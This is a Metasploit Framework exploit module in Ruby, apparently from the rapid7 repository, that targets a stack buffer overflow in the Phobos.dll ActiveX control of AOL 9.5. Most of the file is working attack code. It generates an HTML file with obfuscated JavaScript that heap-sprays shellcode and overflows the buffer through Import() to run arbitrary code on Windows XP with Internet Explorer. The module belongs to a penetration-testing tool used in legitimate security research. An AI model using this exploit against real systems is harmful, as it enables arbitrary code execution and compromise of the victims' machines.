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GitHub Repository: rapid7/metasploit-framework
 Path: blob/master/modules/exploits/windows/fileformat/aol_phobos_bof.rb
Views: 11784
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##

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# This module requires Metasploit: https://metasploit.com/download

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# Current source: https://github.com/rapid7/metasploit-framework

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##

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##

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# aol_phobos_bof.rb

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#

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# AOL 9.5 Phobos.Playlist 'Import()' Stack-based Buffer Overflow exploit for the Metasploit Framework

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#

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# Tested successfully on the following platforms:

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#  - AOL 9.5 (Revision 4337.155) on Internet Explorer 7, Windows XP SP3

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#

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# Phobos.dll version tested:

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# File Version: 9.5.0.1

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# ClassID: A105BD70-BF56-4D10-BC91-41C88321F47C

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# RegKey Safe for Script: False

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# RegKey Safe for Init: False

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# Implements IObjectSafety: False

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# KillBitSet: False

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#

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# Due to the safe for initialization and safe for scripting settings of this ActiveX control,

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# exploitation is possible only from Local Machine Zone, which means the victim must run the

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# generated exploit file locally.

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#

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# Trancer

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# http://www.rec-sec.com

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##

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class MetasploitModule < Msf::Exploit::Remote

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  Rank = AverageRanking

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  include Msf::Exploit::FILEFORMAT

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  def initialize(info = {})

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    super(update_info(info,

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      'Name'           => 'AOL 9.5 Phobos.Playlist Import() Stack-based Buffer Overflow',

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      'Description'    => %q{

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        This module exploits a stack-based buffer overflow within Phobos.dll of AOL 9.5.

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        By setting an overly long value to 'Import()', an attacker can overrun a buffer

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        and execute arbitrary code.

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        NOTE: This ActiveX control is NOT marked safe for scripting or initialization.

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      },

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      'License'        => MSF_LICENSE,

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      'Author'         =>

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        [

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          'Trancer <mtrancer[at]gmail.com>'

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        ],

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      'References'     =>

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        [

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          [ 'OSVDB', '61964'],

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          [ 'EDB', '11204' ],

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          [ 'URL', 'http://www.rec-sec.com/2010/01/25/aol-playlist-class-buffer-overflow/' ],

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        ],

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      'DefaultOptions' =>

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        {

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          'EXITFUNC' => 'process',

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          'DisablePayloadHandler' => true

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        },

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      'Payload'        =>

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        {

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          'Space'         => 1024,

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          'BadChars'      => "\x00\x09\x0a\x0d'\\",

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          'StackAdjustment' => -3500,

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        },

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      'Platform'       => 'win',

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      'Targets'        =>

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        [

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          [ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0', { 'Ret' => 0x0C0C0C0C, 'Offset' => 1000 } ]

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        ],

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      'DisclosureDate' => '2010-01-20',

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      'DefaultTarget'  => 0))

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      register_options(

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        [

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          OptString.new('FILENAME',   [ false, 'The file name.',  'msf.html']),

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        ])

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  end

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  def exploit

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    # Encode the shellcode

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    shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

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    # Setup exploit buffers

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    nops 	  = Rex::Text.to_unescape([target.ret].pack('V'))

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    ret  	  = Rex::Text.uri_encode([target.ret].pack('L'))

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    blocksize = 0x40000

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    fillto    = 500

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    offset 	  = target['Offset']

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    # Randomize the javascript variable names

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    phobos       = rand_text_alpha(rand(100) + 1)

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    j_shellcode  = rand_text_alpha(rand(100) + 1)

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    j_nops       = rand_text_alpha(rand(100) + 1)

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    j_ret        = rand_text_alpha(rand(100) + 1)

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    j_headersize = rand_text_alpha(rand(100) + 1)

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    j_slackspace = rand_text_alpha(rand(100) + 1)

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    j_fillblock  = rand_text_alpha(rand(100) + 1)

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    j_block      = rand_text_alpha(rand(100) + 1)

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    j_memory     = rand_text_alpha(rand(100) + 1)

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    j_counter    = rand_text_alpha(rand(30) + 2)

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    j_bla        = rand_text_alpha(rand(8) + 4)

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    html = %Q|<html>

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<object classid='clsid:A105BD70-BF56-4D10-BC91-41C88321F47C' id='#{phobos}'></object>

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<script>

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#{j_shellcode}=unescape('#{shellcode}');

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#{j_nops}=unescape('#{nops}');

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#{j_headersize}=20;

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#{j_slackspace}=#{j_headersize}+#{j_shellcode}.length;

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while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops};

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#{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace});

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#{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace});

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while(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock};

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#{j_memory}=new Array();

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for(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode};

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var #{j_ret}='';

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for(#{j_counter}=0;#{j_counter}<=#{offset};#{j_counter}++)#{j_ret}+=unescape('#{ret}');

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#{phobos}.Import(#{j_ret},'#{j_bla}','True','True');

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</script>

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</html>|

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    print_status("Creating '#{datastore['FILENAME']}' file ...")

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    file_create(html)

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  end

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end

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